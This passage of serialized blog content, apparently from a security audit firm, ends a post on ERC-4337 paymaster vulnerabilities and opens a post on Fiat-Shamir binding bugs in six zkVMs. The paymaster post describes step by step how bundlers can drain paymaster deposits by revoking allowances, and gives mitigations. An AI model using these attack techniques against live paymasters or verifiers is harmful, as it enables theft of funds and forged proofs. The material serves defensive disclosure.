ctx.constantFee;\n",{"type":23,"tag":213,"props":107213,"children":107214},{"class":215,"line":1899},[107215],{"type":23,"tag":213,"props":107216,"children":107217},{"emptyLinePlaceholder":18},[107218],{"type":28,"value":530},{"type":23,"tag":213,"props":107220,"children":107221},{"class":215,"line":1912},[107222,107226,107231],{"type":23,"tag":213,"props":107223,"children":107224},{"style":290},[107225],{"type":28,"value":90062},{"type":23,"tag":213,"props":107227,"children":107228},{"style":220},[107229],{"type":28,"value":107230}," absoluteCostInToken ",{"type":23,"tag":213,"props":107232,"children":107233},{"style":274},[107234],{"type":28,"value":14761},{"type":23,"tag":213,"props":107236,"children":107237},{"class":215,"line":1921},[107238,107243,107247,107252,107256,107260,107264,107268,107272,107276,107280],{"type":23,"tag":213,"props":107239,"children":107240},{"style":220},[107241],{"type":28,"value":107242}," costInToken ",{"type":23,"tag":213,"props":107244,"children":107245},{"style":274},[107246],{"type":28,"value":10545},{"type":23,"tag":213,"props":107248,"children":107249},{"style":220},[107250],{"type":28,"value":107251}," ctx.preFundCharged ",{"type":23,"tag":213,"props":107253,"children":107254},{"style":274},[107255],{"type":28,"value":2126},{"type":23,"tag":213,"props":107257,"children":107258},{"style":220},[107259],{"type":28,"value":107185},{"type":23,"tag":213,"props":107261,"children":107262},{"style":274},[107263],{"type":28,"value":4423},{"type":23,"tag":213,"props":107265,"children":107266},{"style":220},[107267],{"type":28,"value":107251},{"type":23,"tag":213,"props":107269,"children":107270},{"style":274},[107271],{"type":28,"value":277},{"type":23,"tag":213,"props":107273,"children":107274},{"style":220},[107275],{"type":28,"value":107251},{"type":23,"tag":213,"props":107277,"children":107278},{"style":274},[107279],{"type":28,"value":4423},{"type":23,"tag":213,"props":107281,"children":107282},{"style":220},[107283],{"type":28,"value":107284}," costInToken;\n",{"type":23,"tag":213,"props":107286,"children":107287},{"class":215,"line":3879},[107288],{"type":23,"tag":213,"props":107289,"children":107290},{"emptyLinePlaceholder":18},[107291],{"type":28,"value":530},{"type":23,"tag":213,"props":107293,"children":107294},{"class":215,"line":3887},[107295,107300,107304],{"type":23,"tag":213,"props":107296,"children":107297},{"style":220},[107298],{"type":28,"value":107299}," SafeTransferLib.",{"type":23,"tag":213,"props":107301,"children":107302},{"style":257},[107303],{"type":28,"value":103691},{"type":23,"tag":213,"props":107305,"children":107306},{"style":220},[107307],{"type":28,"value":1511},{"type":23,"tag":213,"props":107309,"children":107310},{"class":215,"line":3918},[107311],{"type":23,"tag":213,"props":107312,"children":107313},{"style":220},[107314],{"type":28,"value":107315}," ctx.token,\n",{"type":23,"tag":213,"props":107317,"children":107318},{"class":215,"line":3926},[107319,107323,107327,107331,107335,107340,107344],{"type":23,"tag":213,"props":107320,"children":107321},{"style":220},[107322],{"type":28,"value":107242},{"type":23,"tag":213,"props":107324,"children":107325},{"style":274},[107326],{"type":28,"value":10545},{"type":23,"tag":213,"props":107328,"children":107329},{"style":220},[107330],{"type":28,"value":107251},{"type":23,"tag":213,"props":107332,"children":107333},{"style":274},[107334],{"type":28,"value":2126},{"type":23,"tag":213,"props":107336,"children":107337},{"style":220},[107338],{"type":28,"value":107339}," ctx.sender ",{"type":23,"tag":213,"props":107341,"children":107342},{"style":274},[107343],{"type":28,"value":277},{"type":23,"tag":213,"props":107345,"children":107346},{"style":220},[107347],{"type":28,"value":107348}," ctx.treasury,\n",{"type":23,"tag":213,"props":107350,"children":107351},{"class":215,"line":3986},[107352,107356,107360,107364,107368,107373,107377],{"type":23,"tag":213,"props":107353,"children":107354},{"style":220},[107355],{"type":28,"value":107242},{"type":23,"tag":213,"props":107357,"children":107358},{"style":274},[107359],{"type":28,"value":10545},{"type":23,"tag":213,"props":107361,"children":107362},{"style":220},[107363],{"type":28,"value":107251},{"type":23,"tag":213,"props":107365,"children":107366},{"style":274},[107367],{"type":28,"value":2126},{"type":23,"tag":213,"props":107369,"children":107370},{"style":220},[107371],{"type":28,"value":107372}," ctx.treasury ",{"type":23,"tag":213,"props":107374,"children":107375},{"style":274},[107376],{"type":28,"value":277},{"type":23,"tag":213,"props":107378,"children":107379},{"style":220},[107380],{"type":28,"value":107381}," ctx.sender,\n",{"type":23,"tag":213,"props":107383,"children":107384},{"class":215,"line":9132},[107385],{"type":23,"tag":213,"props":107386,"children":107387},{"style":220},[107388],{"type":28,"value":107389}," absoluteCostInToken\n",{"type":23,"tag":213,"props":107391,"children":107392},{"class":215,"line":9150},[107393],{"type":23,"tag":213,"props":107394,"children":107395},{"style":220},[107396],{"type":28,"value":2831},{"type":23,"tag":213,"props":107398,"children":107399},{"class":215,"line":9195},[107400],{"type":23,"tag":213,"props":107401,"children":107402},{"emptyLinePlaceholder":18},[107403],{"type":28,"value":530},{"type":23,"tag":213,"props":107405,"children":107406},{"class":215,"line":9301},[107407,107411,107416,107420,107425,107429,107434,107438,107443],{"type":23,"tag":213,"props":107408,"children":107409},{"style":290},[107410],{"type":28,"value":90062},{"type":23,"tag":213,"props":107412,"children":107413},{"style":220},[107414],{"type":28,"value":107415}," preFundInToken ",{"type":23,"tag":213,"props":107417,"children":107418},{"style":274},[107419],{"type":28,"value":3190},{"type":23,"tag":213,"props":107421,"children":107422},{"style":220},[107423],{"type":28,"value":107424}," (ctx.preFund ",{"type":23,"tag":213,"props":107426,"children":107427},{"style":274},[107428],{"type":28,"value":1696},{"type":23,"tag":213,"props":107430,"children":107431},{"style":220},[107432],{"type":28,"value":107433}," ctx.exchangeRate) ",{"type":23,"tag":213,"props":107435,"children":107436},{"style":274},[107437],{"type":28,"value":4675},{"type":23,"tag":213,"props":107439,"children":107440},{"style":514},[107441],{"type":28,"value":107442}," 1e18",{"type":23,"tag":213,"props":107444,"children":107445},{"style":220},[107446],{"type":28,"value":313},{"type":23,"tag":213,"props":107448,"children":107449},{"class":215,"line":23557},[107450],{"type":23,"tag":213,"props":107451,"children":107452},{"emptyLinePlaceholder":18},[107453],{"type":28,"value":530},{"type":23,"tag":213,"props":107455,"children":107456},{"class":215,"line":23592},[107457,107461,107466,107470,107474,107478,107482,107486,107490,107494,107498],{"type":23,"tag":213,"props":107458,"children":107459},{"style":1362},[107460],{"type":28,"value":3369},{"type":23,"tag":213,"props":107462,"children":107463},{"style":220},[107464],{"type":28,"value":107465}," (ctx.recipient ",{"type":23,"tag":213,"props":107467,"children":107468},{"style":274},[107469],{"type":28,"value":15743},{"type":23,"tag":213,"props":107471,"children":107472},{"style":290},[107473],{"type":28,"value":6342},{"type":23,"tag":213,"props":107475,"children":107476},{"style":220},[107477],{"type":28,"value":265},{"type":23,"tag":213,"props":107479,"children":107480},{"style":514},[107481],{"type":28,"value":4116},{"type":23,"tag":213,"props":107483,"children":107484},{"style":220},[107485],{"type":28,"value":298},{"type":23,"tag":213,"props":107487,"children":107488},{"style":274},[107489],{"type":28,"value":73250},{"type":23,"tag":213,"props":107491,"children":107492},{"style":220},[107493],{"type":28,"value":107415},{"type":23,"tag":213,"props":107495,"children":107496},{"style":274},[107497],{"type":28,"value":10545},{"type":23,"tag":213,"props":107499,"children":107500},{"style":220},[107501],{"type":28,"value":107502}," costInToken) {\n",{"type":23,"tag":213,"props":107504,"children":107505},{"class":215,"line":23600},[107506,107511,107515,107520,107524],{"type":23,"tag":213,"props":107507,"children":107508},{"style":220},[107509],{"type":28,"value":107510}," SafeTransferLib.",{"type":23,"tag":213,"props":107512,"children":107513},{"style":257},[107514],{"type":28,"value":103691},{"type":23,"tag":213,"props":107516,"children":107517},{"style":220},[107518],{"type":28,"value":107519},"(ctx.token, ctx.sender, ctx.recipient, preFundInToken ",{"type":23,"tag":213,"props":107521,"children":107522},{"style":274},[107523],{"type":28,"value":4423},{"type":23,"tag":213,"props":107525,"children":107526},{"style":220},[107527],{"type":28,"value":107528}," costInToken);\n",{"type":23,"tag":213,"props":107530,"children":107531},{"class":215,"line":23608},[107532],{"type":23,"tag":213,"props":107533,"children":107534},{"style":220},[107535],{"type":28,"value":3444},{"type":23,"tag":213,"props":107537,"children":107538},{"class":215,"line":23617},[107539],{"type":23,"tag":213,"props":107540,"children":107541},{"emptyLinePlaceholder":18},[107542],{"type":28,"value":530},{"type":23,"tag":213,"props":107544,"children":107545},{"class":215,"line":23659},[107546,107551,107555],{"type":23,"tag":213,"props":107547,"children":107548},{"style":1362},[107549],{"type":28,"value":107550}," emit",{"type":23,"tag":213,"props":107552,"children":107553},{"style":257},[107554],{"type":28,"value":104425},{"type":23,"tag":213,"props":107556,"children":107557},{"style":220},[107558],{"type":28,"value":107559},"(ctx.userOpHash, ctx.sender, ERC20_MODE, ctx.token, costInToken, ctx.exchangeRate);\n",{"type":23,"tag":213,"props":107561,"children":107562},{"class":215,"line":23692},[107563],{"type":23,"tag":213,"props":107564,"children":107565},{"style":220},[107566],{"type":28,"value":2875},{"type":23,"tag":24,"props":107568,"children":107569},{},[107570,107572,107577,107579,107585,107587,107593,107595,107600,107602,107607],{"type":28,"value":107571},"As shown above, the paymaster calculates the actual gas used and attempts to charge the user by calling ",{"type":23,"tag":209,"props":107573,"children":107575},{"className":107574},[],[107576],{"type":28,"value":103691},{"type":28,"value":107578},". Note that ",{"type":23,"tag":209,"props":107580,"children":107582},{"className":107581},[],[107583],{"type":28,"value":107584},"preFundCharged",{"type":28,"value":107586}," can be zero, as users can opt out of any ",{"type":23,"tag":209,"props":107588,"children":107590},{"className":107589},[],[107591],{"type":28,"value":107592},"preFund",{"type":28,"value":107594}," during the validation phase. If the user hasn't given sufficient allowance to Pimlico's paymaster for the transfer, the ",{"type":23,"tag":209,"props":107596,"children":107598},{"className":107597},[],[107599],{"type":28,"value":104492},{"type":28,"value":107601}," call inside ",{"type":23,"tag":209,"props":107603,"children":107605},{"className":107604},[],[107606],{"type":28,"value":105576},{"type":28,"value":107608}," will revert and the paymaster won't be able to collect payment from the user.",{"type":23,"tag":24,"props":107610,"children":107611},{},[107612,107614,107619,107621,107627,107629,107635],{"type":28,"value":107613},"However, even when ",{"type":23,"tag":209,"props":107615,"children":107617},{"className":107616},[],[107618],{"type":28,"value":104492},{"type":28,"value":107620}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":23,"tag":209,"props":107622,"children":107624},{"className":107623},[],[107625],{"type":28,"value":107626},"requiredPrefund",{"type":28,"value":107628}," was taken from the paymaster's ",{"type":23,"tag":36,"props":107630,"children":107633},{"href":107631,"rel":107632},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[40],[107634],{"type":28,"value":62017},{"type":28,"value":124},{"type":23,"tag":24,"props":107637,"children":107638},{},[107639,107641,107646],{"type":28,"value":107640},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":23,"tag":209,"props":107642,"children":107644},{"className":107643},[],[107645],{"type":28,"value":104492},{"type":28,"value":107647}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":23,"tag":131,"props":107649,"children":107650},{},[107651,107669,107688,107699,107704],{"type":23,"tag":135,"props":107652,"children":107653},{},[107654,107656,107661,107663],{"type":28,"value":107655},"The bundler creates a ",{"type":23,"tag":209,"props":107657,"children":107659},{"className":107658},[],[107660],{"type":28,"value":102235},{"type":28,"value":107662}," with an intentionally high ",{"type":23,"tag":209,"props":107664,"children":107666},{"className":107665},[],[107667],{"type":28,"value":107668},"gasPrice",{"type":23,"tag":135,"props":107670,"children":107671},{},[107672,107674,107679,107681,107686],{"type":28,"value":107673},"The bundler ensures the ",{"type":23,"tag":209,"props":107675,"children":107677},{"className":107676},[],[107678],{"type":28,"value":104492},{"type":28,"value":107680}," call will fail by revoking the paymaster's token allowance before ",{"type":23,"tag":209,"props":107682,"children":107684},{"className":107683},[],[107685],{"type":28,"value":104492},{"type":28,"value":107687}," executes",{"type":23,"tag":135,"props":107689,"children":107690},{},[107691,107692,107697],{"type":28,"value":63409},{"type":23,"tag":209,"props":107693,"children":107695},{"className":107694},[],[107696],{"type":28,"value":104492},{"type":28,"value":107698}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":23,"tag":135,"props":107700,"children":107701},{},[107702],{"type":28,"value":107703},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":23,"tag":135,"props":107705,"children":107706},{},[107707],{"type":28,"value":107708},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":23,"tag":24,"props":107710,"children":107711},{},[107712,107714,107719,107721,107726],{"type":28,"value":107713},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":23,"tag":209,"props":107715,"children":107717},{"className":107716},[],[107718],{"type":28,"value":102264},{"type":28,"value":107720}," designed to fail during ",{"type":23,"tag":209,"props":107722,"children":107724},{"className":107723},[],[107725],{"type":28,"value":104492},{"type":28,"value":107727}," while maximizing the gas costs they can charge to the paymaster.",{"type":23,"tag":24,"props":107729,"children":107730},{},[107731,107733,107738,107740,107745,107747,107753,107755,107760],{"type":28,"value":107732},"Some paymasters try to protect against this by simulating the ",{"type":23,"tag":209,"props":107734,"children":107736},{"className":107735},[],[107737],{"type":28,"value":102235},{"type":28,"value":107739}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":23,"tag":209,"props":107741,"children":107743},{"className":107742},[],[107744],{"type":28,"value":102235},{"type":28,"value":107746}," is submitted via ",{"type":23,"tag":209,"props":107748,"children":107750},{"className":107749},[],[107751],{"type":28,"value":107752},"handleOps",{"type":28,"value":107754},". This means the ",{"type":23,"tag":209,"props":107756,"children":107758},{"className":107757},[],[107759],{"type":28,"value":104492},{"type":28,"value":107761}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":23,"tag":24,"props":107763,"children":107764},{},[107765],{"type":28,"value":107766},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":23,"tag":24,"props":107768,"children":107769},{},[107770],{"type":28,"value":107771},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":23,"tag":24,"props":107773,"children":107774},{},[107775],{"type":28,"value":107776},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":23,"tag":35430,"props":107778,"children":107779},{"id":28989},[107780],{"type":28,"value":19000},{"type":23,"tag":24,"props":107782,"children":107783},{},[107784],{"type":28,"value":107785},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":23,"tag":131,"props":107787,"children":107788},{},[107789,107794,107799,107804,107809],{"type":23,"tag":135,"props":107790,"children":107791},{},[107792],{"type":28,"value":107793},"Always collect full payment during validation, not after execution",{"type":23,"tag":135,"props":107795,"children":107796},{},[107797],{"type":28,"value":107798},"Be conservative with gas estimations and include safety margins",{"type":23,"tag":135,"props":107800,"children":107801},{},[107802],{"type":28,"value":107803},"Carefully validate all user inputs and token transfers",{"type":23,"tag":135,"props":107805,"children":107806},{},[107807],{"type":28,"value":107808},"Test extensively, including simulation of malicious behavior",{"type":23,"tag":135,"props":107810,"children":107811},{},[107812,107814,107819],{"type":28,"value":107813},"Always review changes in new ",{"type":23,"tag":209,"props":107815,"children":107817},{"className":107816},[],[107818],{"type":28,"value":102316},{"type":28,"value":107820}," versions, as they may impact your paymaster's design and security assumptions",{"type":23,"tag":24,"props":107822,"children":107823},{},[107824,107826,107831,107833,107838,107840,107845],{"type":28,"value":107825},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":23,"tag":209,"props":107827,"children":107829},{"className":107828},[],[107830],{"type":28,"value":102316},{"type":28,"value":107832}," contract's behavior could potentially break existing ",{"type":23,"tag":209,"props":107834,"children":107836},{"className":107835},[],[107837],{"type":28,"value":102388},{"type":28,"value":107839}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":23,"tag":209,"props":107841,"children":107843},{"className":107842},[],[107844],{"type":28,"value":102316},{"type":28,"value":107846}," versions.",{"type":23,"tag":24,"props":107848,"children":107849},{},[107850],{"type":28,"value":107851},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":23,"tag":24,"props":107853,"children":107854},{},[107855],{"type":28,"value":107856},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":23,"tag":2957,"props":107858,"children":107859},{},[107860],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":107862},[107863,107864,107865,107872,107877,107878],{"id":102150,"depth":226,"text":102153},{"id":102166,"depth":226,"text":102169},{"id":102205,"depth":226,"text":102208,"children":107866},[107867,107868,107869,107870,107871],{"id":102228,"depth":524,"text":102235},{"id":102269,"depth":524,"text":102272},{"id":102295,"depth":524,"text":102298},{"id":1280,"depth":524,"text":102316},{"id":102388,"depth":524,"text":102399},{"id":102451,"depth":226,"text":107873,"children":107874},"Understanding the EntryPoint's Flow",[107875,107876],{"id":102507,"depth":524,"text":102510},{"id":102692,"depth":524,"text":102695},{"id":102935,"depth":226,"text":102941},{"id":104535,"depth":226,"text":104541,"children":107879},[107880,107881],{"id":104595,"depth":524,"text":104598},{"id":104655,"depth":524,"text":104658},"content:blog:2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm",{"_path":107886,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":107887,"description":107888,"date":107889,"author":107890,"image":107893,"isFeatured":18,"onBlogPage":18,"tags":107895,"body":107897,"_type":2967,"_id":123702,"_source":2969,"_file":123703,"_stem":123704,"_extension":2972},"/blog/2026-03-03-zkvms-unfaithful-claims","Unfaithful Claims: Breaking 6 zkVMs","A zkVM verifier should be faithful to one thing above all else: its public claims. Yet we found six systems where this guarantee breaks. Learn how a subtle ordering bug lets an attacker bypass the cryptography entirely and prove mathematically impossible statements.","2026-03-03T12:00:00.000Z",[107891,107892],"himanshu","valter",{"src":107894,"width":97321,"height":13703},"/posts/zkvms-unfaithful-claims/title.png",[107896],"zkVM",{"type":20,"children":107898,"toc":123666},[107899,107904,107946,107959,107962,107968,107973,108101,108104,108110,108116,108121,108153,108301,108306,108429,108440,108451,108474,108485,108490,108523,108531,108536,108539,108545,108550,108556,108561,108566,108574,108592,108733,108738,108744,108837,109571,109639,109650,109658,110132,110138,110577,110917,111070,111075,111963,112119,112125,112217,112222,112807,113257,113333,113339,113344,113413,113423,113439,113449,113510,113929,113961,113971,114146,114151,114161,114761,114949,114967,114970,114976,114981,114989,115021,115383,115388,115473,115476,115482,115490,115495,115498,115504,115509,115517,115525,115533,115541,115574,115582,115590,115681,115932,116259,116267,116297,116467,116793,116798,116803,116820,116823,116828,116833,116845,116857,117448,117460,117472,117479,117487,117499,117507,117522,117527,117807,117826,117921,117940,117956,117959,117965,117970,117975,117982,117990,117997,118005,118018,118036,118496,118598,118603,118608,118624,118627,118633,118638,118650,118661,118666,119056,119063,119071,119096,119116,119372,119383,119402,119786,120132,120362,120521,120681,121249,121254,121280,121283,121289,121294,121301,121309,121322,121394,121405,121413,121423,121431,121442,121716,121805,121834,121837,121842,121976,121988,121995,122000,122153,122179,122186,122194,122199,122265,122270,122660,122747,122763,122766,122772,122777,122783,122883,122942,122947,122953,122958,122966,122971,122977,122982,122987,122993,122998,123001,123007,123013,123018,123023,123028,123033,123038,123041,123047,123210,123215,123218,123223,123234,123551,123556,123580,123585,123603,123608,123611,123617,123622,123627,123637,123642,123652,123662],{"type":23,"tag":24,"props":107900,"children":107901},{},[107902],{"type":28,"value":107903},"A zkVM verifier should be faithful to one thing above all else: its public claims. If the claimed input/output statement is false, verification must fail.",{"type":23,"tag":24,"props":107905,"children":107906},{},[107907,107909,107914,107915,107920,107921,107926,107927,107932,107933,107938,107939,107944],{"type":28,"value":107908},"We found six systems where this faithfulness breaks. Across ",{"type":23,"tag":95,"props":107910,"children":107911},{},[107912],{"type":28,"value":107913},"Jolt",{"type":28,"value":424},{"type":23,"tag":95,"props":107916,"children":107917},{},[107918],{"type":28,"value":107919},"Nexus",{"type":28,"value":424},{"type":23,"tag":95,"props":107922,"children":107923},{},[107924],{"type":28,"value":107925},"Cairo-M",{"type":28,"value":424},{"type":23,"tag":95,"props":107928,"children":107929},{},[107930],{"type":28,"value":107931},"Ceno",{"type":28,"value":424},{"type":23,"tag":95,"props":107934,"children":107935},{},[107936],{"type":28,"value":107937},"Expander",{"type":28,"value":6580},{"type":23,"tag":95,"props":107940,"children":107941},{},[107942],{"type":28,"value":107943},"Binius64",{"type":28,"value":107945},", public-claim data was not always bound into Fiat-Shamir transcripts before challenge generation. That subtle ordering bug turns statement values into attacker-controlled variables in later verification equations.",{"type":23,"tag":24,"props":107947,"children":107948},{},[107949,107951,107957],{"type":28,"value":107950},"In this post, we demonstrate how to exploit these unbound variables to bypass the cryptography entirely and prove mathematically impossible statements, such as finding a counterexample to Fermat's Last Theorem (see ",{"type":23,"tag":36,"props":107952,"children":107954},{"href":107953},"#challenges",[107955],{"type":28,"value":107956},"Challenges",{"type":28,"value":107958}," to try this out yourself). In a blockchain context, this could translate to receiving $1M out of thin air.",{"type":23,"tag":18845,"props":107960,"children":107961},{},[],{"type":23,"tag":47,"props":107963,"children":107965},{"id":107964},"jargon-cheat-sheet",[107966],{"type":28,"value":107967},"Jargon Cheat Sheet",{"type":23,"tag":24,"props":107969,"children":107970},{},[107971],{"type":28,"value":107972},"Before we go deeper, here's a one-liner for every term you'll encounter. The ZK ecosystem is particularly full of jargon and abbreviations, which may be off-putting to newcomers. Bookmark this section.",{"type":23,"tag":168,"props":107974,"children":107975},{},[107976,107986,107996,108006,108016,108026,108036,108046,108056,108066,108076,108086],{"type":23,"tag":135,"props":107977,"children":107978},{},[107979,107984],{"type":23,"tag":95,"props":107980,"children":107981},{},[107982],{"type":28,"value":107983},"Fiat-Shamir",{"type":28,"value":107985},": Instead of a real verifier sending random challenges, hash everything so far to get \"random\" challenges. Makes proofs non-interactive.",{"type":23,"tag":135,"props":107987,"children":107988},{},[107989,107994],{"type":23,"tag":95,"props":107990,"children":107991},{},[107992],{"type":28,"value":107993},"Transcript",{"type":28,"value":107995},": The running hash state. You \"absorb\" data into it, then \"squeeze\" out challenges.",{"type":23,"tag":135,"props":107997,"children":107998},{},[107999,108004],{"type":23,"tag":95,"props":108000,"children":108001},{},[108002],{"type":28,"value":108003},"Polynomial Commitment",{"type":28,"value":108005},": Like a hash, but for polynomials. You commit to a polynomial, then later prove \"my polynomial evaluates to 42 at point 7\" without revealing the whole polynomial.",{"type":23,"tag":135,"props":108007,"children":108008},{},[108009,108014],{"type":23,"tag":95,"props":108010,"children":108011},{},[108012],{"type":28,"value":108013},"Sumcheck",{"type":28,"value":108015},": A protocol to prove \"this polynomial sums to H over all boolean inputs\" without actually computing the exponentially many terms. Reduces to checking one random point.",{"type":23,"tag":135,"props":108017,"children":108018},{},[108019,108024],{"type":23,"tag":95,"props":108020,"children":108021},{},[108022],{"type":28,"value":108023},"MLE (Multilinear Extension)",{"type":28,"value":108025},": Turn a table of values into a polynomial. The polynomial equals the table on 0/1 inputs and smoothly interpolates elsewhere. Key property: evaluating it is a linear function of the table entries.",{"type":23,"tag":135,"props":108027,"children":108028},{},[108029,108034],{"type":23,"tag":95,"props":108030,"children":108031},{},[108032],{"type":28,"value":108033},"Lookup / LogUp",{"type":28,"value":108035},": Prove \"all my values appear in this table\" by encoding membership as sums of fractions. If the sums match, the sets match (with high probability).",{"type":23,"tag":135,"props":108037,"children":108038},{},[108039,108044],{"type":23,"tag":95,"props":108040,"children":108041},{},[108042],{"type":28,"value":108043},"AIR",{"type":28,"value":108045},": \"Algebraic Intermediate Representation\" - a way to write \"valid execution trace\" as polynomial equations. If the equations hold, the trace is valid.",{"type":23,"tag":135,"props":108047,"children":108048},{},[108049,108054],{"type":23,"tag":95,"props":108050,"children":108051},{},[108052],{"type":28,"value":108053},"STARK",{"type":28,"value":108055},": Prove AIR constraints hold using commitments + random sampling + FRI. No trusted setup needed.",{"type":23,"tag":135,"props":108057,"children":108058},{},[108059,108064],{"type":23,"tag":95,"props":108060,"children":108061},{},[108062],{"type":28,"value":108063},"FRI",{"type":28,"value":108065},": \"Fast Reed-Solomon IOP\" - proves a committed function is actually a low-degree polynomial, not arbitrary garbage that passes spot-checks.",{"type":23,"tag":135,"props":108067,"children":108068},{},[108069,108074],{"type":23,"tag":95,"props":108070,"children":108071},{},[108072],{"type":28,"value":108073},"OODS",{"type":28,"value":108075},": \"Out-of-Domain Sampling\" - check the constraint polynomial at a random point outside the execution domain. Ties everything together.",{"type":23,"tag":135,"props":108077,"children":108078},{},[108079,108084],{"type":23,"tag":95,"props":108080,"children":108081},{},[108082],{"type":28,"value":108083},"GKR",{"type":28,"value":108085},": Verify arithmetic circuits layer-by-layer using sumcheck. Reduces \"check this huge circuit\" to \"check a few random evaluations.\"",{"type":23,"tag":135,"props":108087,"children":108088},{},[108089,108094,108096],{"type":23,"tag":95,"props":108090,"children":108091},{},[108092],{"type":28,"value":108093},"claimed_sum / opening_claim",{"type":28,"value":108095},": Prover-supplied values that feed into verification equations. ",{"type":23,"tag":95,"props":108097,"children":108098},{},[108099],{"type":28,"value":108100},"These are the usual suspects for binding bugs.",{"type":23,"tag":18845,"props":108102,"children":108103},{},[],{"type":23,"tag":47,"props":108105,"children":108107},{"id":108106},"what-are-we-even-breaking",[108108],{"type":28,"value":108109},"What Are We Even Breaking?",{"type":23,"tag":9693,"props":108111,"children":108113},{"id":108112},"what-is-a-zkvm",[108114],{"type":28,"value":108115},"What is a zkVM?",{"type":23,"tag":24,"props":108117,"children":108118},{},[108119],{"type":28,"value":108120},"A zkVM proof claims that a program executed correctly on public inputs, producing the claimed public output, while hiding the full execution trace.",{"type":23,"tag":24,"props":108122,"children":108123},{},[108124,108126,108151],{"type":28,"value":108125},"Formally, the verifier is convinced that there exists a valid trace ",{"type":23,"tag":209,"props":108127,"children":108129},{"className":108128},[4076,4077],[108130],{"type":23,"tag":213,"props":108131,"children":108133},{"className":108132},[4082],[108134],{"type":23,"tag":213,"props":108135,"children":108137},{"className":108136,"ariaHidden":1710},[4087],[108138],{"type":23,"tag":213,"props":108139,"children":108141},{"className":108140},[4092],[108142,108146],{"type":23,"tag":213,"props":108143,"children":108145},{"className":108144,"style":21632},[4097],[],{"type":23,"tag":213,"props":108147,"children":108149},{"className":108148,"style":21638},[4103,21637],[108150],{"type":28,"value":6079},{"type":28,"value":108152}," such that:",{"type":23,"tag":24,"props":108154,"children":108155},{},[108156],{"type":23,"tag":209,"props":108157,"children":108159},{"className":108158},[4076,4077],[108160],{"type":23,"tag":213,"props":108161,"children":108163},{"className":108162},[4082],[108164],{"type":23,"tag":213,"props":108165,"children":108167},{"className":108166,"ariaHidden":1710},[4087],[108168,108212,108287],{"type":23,"tag":213,"props":108169,"children":108171},{"className":108170},[4092],[108172,108176,108182,108186,108191,108195,108199,108204,108208],{"type":23,"tag":213,"props":108173,"children":108175},{"className":108174,"style":93015},[4097],[],{"type":23,"tag":213,"props":108177,"children":108179},{"className":108178},[4103],[108180],{"type":28,"value":108181},"∃",{"type":23,"tag":213,"props":108183,"children":108185},{"className":108184,"style":4282},[4184],[],{"type":23,"tag":213,"props":108187,"children":108189},{"className":108188,"style":21638},[4103,21637],[108190],{"type":28,"value":6079},{"type":23,"tag":213,"props":108192,"children":108194},{"className":108193,"style":4282},[4184],[],{"type":23,"tag":213,"props":108196,"children":108198},{"className":108197,"style":4282},[4184],[],{"type":23,"tag":213,"props":108200,"children":108202},{"className":108201},[4287],[108203],{"type":28,"value":277},{"type":23,"tag":213,"props":108205,"children":108207},{"className":108206,"style":4282},[4184],[],{"type":23,"tag":213,"props":108209,"children":108211},{"className":108210,"style":4282},[4184],[],{"type":23,"tag":213,"props":108213,"children":108215},{"className":108214},[4092],[108216,108220,108231,108236,108241,108246,108250,108255,108260,108264,108269,108274,108278,108283],{"type":23,"tag":213,"props":108217,"children":108219},{"className":108218,"style":4205},[4097],[],{"type":23,"tag":213,"props":108221,"children":108223},{"className":108222},[4103],[108224],{"type":23,"tag":213,"props":108225,"children":108228},{"className":108226},[4103,108227],"mathsf",[108229],{"type":28,"value":108230},"VM",{"type":23,"tag":213,"props":108232,"children":108234},{"className":108233},[21766],[108235],{"type":28,"value":265},{"type":23,"tag":213,"props":108237,"children":108239},{"className":108238,"style":21638},[4103,21637],[108240],{"type":28,"value":21641},{"type":23,"tag":213,"props":108242,"children":108244},{"className":108243},[4216],[108245],{"type":28,"value":4219},{"type":23,"tag":213,"props":108247,"children":108249},{"className":108248,"style":4223},[4184],[],{"type":23,"tag":213,"props":108251,"children":108253},{"className":108252,"style":95120},[4103,21637],[108254],{"type":28,"value":6225},{"type":23,"tag":213,"props":108256,"children":108258},{"className":108257},[4216],[108259],{"type":28,"value":4219},{"type":23,"tag":213,"props":108261,"children":108263},{"className":108262,"style":4223},[4184],[],{"type":23,"tag":213,"props":108265,"children":108267},{"className":108266,"style":21638},[4103,21637],[108268],{"type":28,"value":6079},{"type":2